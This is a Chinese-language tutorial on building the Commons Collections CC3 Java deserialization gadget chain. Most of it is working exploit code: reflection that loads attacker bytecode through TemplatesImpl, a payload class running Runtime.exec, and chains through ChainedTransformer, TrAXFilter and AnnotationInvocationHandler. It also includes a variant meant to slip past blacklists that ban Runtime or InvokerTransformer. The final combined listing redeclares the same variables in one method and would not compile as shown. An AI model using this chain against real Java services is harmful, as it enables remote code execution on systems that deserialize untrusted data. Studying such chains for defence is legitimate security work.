CC3
CC3 鏈同之前我們講的 CC1 鏈與 CC6 鏈的區別之處是非常大的。原本的 CC1 鏈與 CC6 鏈是透過 Runtime.exec() 進行命令執行的。而很多時候伺服器的程式碼當中的黑名單會選擇禁用 Runtime。
而 CC3 鏈這裡呢,則是透過動態載入類載入機制來實現自動執行惡意類程式碼的。
原理
ClassLoader.loadClass()-->ClassLoader.findClass()-->ClassLoader.defineClass()
首先是 loadClass(),它的作用是從已載入的類快取、父載入器等位置尋找類(這裡實際上是雙親委派機制),在前面沒有找到的情況下,執行 findClass(),根據名稱或位置載入 .class 位元組碼,然後使用 defineClass()。defineClass() 的作用是處理前面傳入的位元組碼,將其處理成真正的 Java 類
第一步
在TemplatesImpl裡面找到defineclass
目標是找到他的型別為public,然後find usage,發現在他自己的函式defineTransletClasses()
下面,然後我們繼續find usage,,然後我們找到getTransletInstance()
,然後接著find usage,最後找到了public synchronized Transformer newTransformer()
是public,完成。
部分原始碼
defineClass
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
defineTransletClasses
private void defineTransletClasses(){ for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}}
getTransletInstance
private Translet getTransletInstance(){ if (_class == null) defineTransletClasses();}
newTransformer
public synchronized Transformer newTransformer(){ transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);}
第二步
賦值
我們得完成一些引數的賦值讓他不會報錯且能進入下一個函式
1._name
getTransletInstance()
中的if (_name == null) return null;
若不賦值就會return null
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
2._bytecodes
defineTransletClasses()
中的if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); }
若不賦值就會報錯
bytecodes是一個byte[][]型別的,然後我們去看呼叫它的地方
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
他的作用就是不斷的迴圈呼叫,然後我們只傳一個,那麼我們可以
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class
這個地址使我們程式碼執行的地方
3._tfactory
defineTransletClasses()
中的 public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); }
若不賦值就會報錯
我們看到他是一個transient,我們去看readobject給他賦值的地方
private void readObject(ObjectInputStream is){_tfactory = new TransformerFactoryImpl();}
那我們就是new TransformerFactoryImpl()
就可以試試看會怎麼樣
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
最後總程式碼
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
報錯
Exception in thread "main" java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:422)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.kuang.CC3.main(CC3.java:40)
空指標錯誤
第三步
去defineTransletClasses第一步除錯一下,除錯發現
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
_auxClasses
這個引數為空,有兩種方法可以解決進入 if (superClass.getName().equals(ABSTRACT_TRANSLET))
,或者給_auxClasses
賦值,但是我們發現後面_transletIndex < 0
就會報錯,所以我們就進行第一步,因為進入if就會給_transletIndex
賦值。
OK,我們看怎麼滿足這個條件,_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();superClass.getName().equals(ABSTRACT_TRANSLET)
就是讓_bytecodes
載入的程式碼的父類是ABSTRACT_TRANSLET
。
public class Test extends AbstractTranslet{
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
解釋上面功能
因為我們要繼承他,然後發現他是個抽象類,抽象方法都要實現
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
然後編譯一下,放到執行程式碼的地方
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
第四步
templates.newTransformer();和cc1結合ChainedTransformer
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
解釋裡面的程式碼
ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
就是傳進去constantToReturn,然後把他傳個iConstant,然後他呼叫transform時不論傳進去什麼他就是返回iConstant
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
先是構造器穿進去一個陣列 transformers,然後賦值給iTransformers,如果呼叫transform的話就拿上一個的transform裡面的值單做下一個的object
綜合上面的描述
就是第一個ConstantTransformer(templates)
被調入ChainedTransformer
的transform
,到object = iTransformers[i].transform(object);
這一行等於object = new ConstantTransformer(templates).transform(object);
最後會使得object = templates
,然後不斷下去不過你得呼叫chainedTransformer.transform(1)
,才能開始。
第五步
與cc1結合,替換chainedTransformer.transform(1)
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
進階番外片
因為invoketransform
會被ban掉所以我們又有了衍生
我們去找誰呼叫了newInstance()
,找到了在TrAXFilter
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
但是他是不能序列化的,所以我們去找一個建構函式給他賦值,找到InstantiateTransformer
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input){
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
構造下面的替換掉invoketransform
,用下面的程式碼
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
完整程式碼
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
我們把最後一個transform用cc1的替換掉
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
但是上面這個會報錯是因為Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
這一步,因為別忘記cc1最後一步readobject
的那個setvalue
傳參是不可控的,所以需要引入Transformer
與ChainedTransformer
加以輔助。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
完成!!
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
完整程式碼
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();//第一步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);//第二步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");//第三步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);//第四步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,instantiateTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");//第五步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");//第六步
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
ois.close();
return obj;
}
}